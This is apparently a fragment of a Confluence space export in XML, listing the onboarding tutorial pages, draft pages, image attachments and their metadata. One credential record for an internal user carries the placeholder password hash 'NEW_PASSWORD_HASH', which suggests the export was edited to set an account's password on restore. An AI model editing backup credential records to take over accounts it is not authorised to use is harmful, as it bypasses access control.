<property name="hibernateVersion">14</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262170</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.903</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98342</id>
<property name="hibernateVersion">18</property>
<property name="title"><![CDATA[home.jpg]]></property>
<property name="lowerTitle"><![CDATA[home.jpg]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262204</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262223</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262230</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98328</id>
<property name="hibernateVersion">10</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262187</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.909</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98339</id>
<property name="hibernateVersion">16</property>
<property name="title"><![CDATA[step-2-image-5.png]]></property>
<property name="lowerTitle"><![CDATA[step-2-image-5.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262209</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262212</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262213</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262243</id>
</element>
</collection>
<property name="version">2</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98327</id>
<property name="hibernateVersion">13</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262190</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.915</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98340</id>
<property name="hibernateVersion">19</property>
<property name="title"><![CDATA[step06-image03.png]]></property>
<property name="lowerTitle"><![CDATA[step06-image03.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262211</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262214</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262224</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262244</id>
</element>
</collection>
<property name="version">2</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98334</id>
<property name="hibernateVersion">14</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262169</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.921</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98345</id>
<property name="hibernateVersion">17</property>
<property name="title"><![CDATA[home.jpg]]></property>
<property name="lowerTitle"><![CDATA[home.jpg]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262226</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262229</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262242</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98333</id>
<property name="hibernateVersion">13</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262192</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.927</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98346</id>
<property name="hibernateVersion">19</property>
<property name="title"><![CDATA[Confluence-Origami-Necktie.jpeg]]></property>
<property name="lowerTitle"><![CDATA[confluence-origami-necktie.jpeg]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262222</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262239</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262240</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98332</id>
<property name="hibernateVersion">71</property>
<property name="title"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
<property name="lowerTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163846</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196654</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196655</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196656</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196657</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196658</id>
</element>
</collection>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262149</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262152</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:51.989</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98341</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98351</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98354</id>
</element>
</collection>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position">4</property>
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98343</id>
<property name="hibernateVersion">18</property>
<property name="title"><![CDATA[step09-01.png]]></property>
<property name="lowerTitle"><![CDATA[step09-01.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262246</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262247</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262248</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262265</id>
</element>
</collection>
<property name="version">3</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98331</id>
<property name="hibernateVersion">10</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262189</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.025</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98344</id>
<property name="hibernateVersion">17</property>
<property name="title"><![CDATA[Step8-01.png]]></property>
<property name="lowerTitle"><![CDATA[step8-01.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262227</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262228</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262258</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262259</id>
</element>
</collection>
<property name="version">2</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98336</id>
<property name="hibernateVersion">10</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262188</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.030</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98335</id>
<property name="hibernateVersion">12</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262195</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.033</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98337</id>
<property name="hibernateVersion">17</property>
<property name="title"><![CDATA[prev.jpg]]></property>
<property name="lowerTitle"><![CDATA[prev.jpg]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262236</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262249</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262250</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98338</id>
<property name="hibernateVersion">18</property>
<property name="title"><![CDATA[welcome.png]]></property>
<property name="lowerTitle"><![CDATA[welcome.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262235</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262238</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262262</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98314</id>
<property name="hibernateVersion">37</property>
<property name="title"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
<property name="lowerTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163844</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196609</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196610</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196611</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196612</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196613</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196644</id>
</element>
</collection>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262150</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262167</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262185</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.044</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position">6</property>
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="InternalUserCredentialRecord" package="com.atlassian.crowd.model.user">
<id name="id">524289</id>
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
</property>
<property name="passwordHash"><![CDATA[NEW_PASSWORD_HASH]]></property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98313</id>
<property name="hibernateVersion">13</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262191</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.049</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98312</id>
<property name="hibernateVersion">14</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262193</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.053</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98311</id>
<property name="hibernateVersion">16</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262177</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.056</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98318</id>
<property name="hibernateVersion">42</property>
<property name="title"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
<property name="lowerTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163850</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196627</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196629</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196631</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196632</id>
</element>
</collection>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262160</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262162</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.061</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98342</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98346</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98350</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98352</id>
</element>
</collection>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position">3</property>
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98317</id>
<property name="hibernateVersion">28</property>
<property name="title"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163841</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196616</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196639</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196642</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196643</id>
</element>
</collection>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262154</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.065</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98337</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98345</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98347</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98349</id>
</element>
</collection>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position">2</property>
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98316</id>
<property name="hibernateVersion">16</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262173</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.071</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98315</id>
<property name="hibernateVersion">5</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262159</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.074</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98322</id>
<property name="hibernateVersion">53</property>
<property name="title"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
<property name="lowerTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163849</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196650</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196651</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196652</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196653</id>
</element>
</collection>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262166</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262182</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:52.078</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98339</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98355</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98356</id>
</element>
</collection>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position">1</property>
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98321</id>
<property name="hibernateVersion">38</property>
<property name="title"><![CDATA[Lay out your page (step 6 of 9)]]></property>
<property name="lowerTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
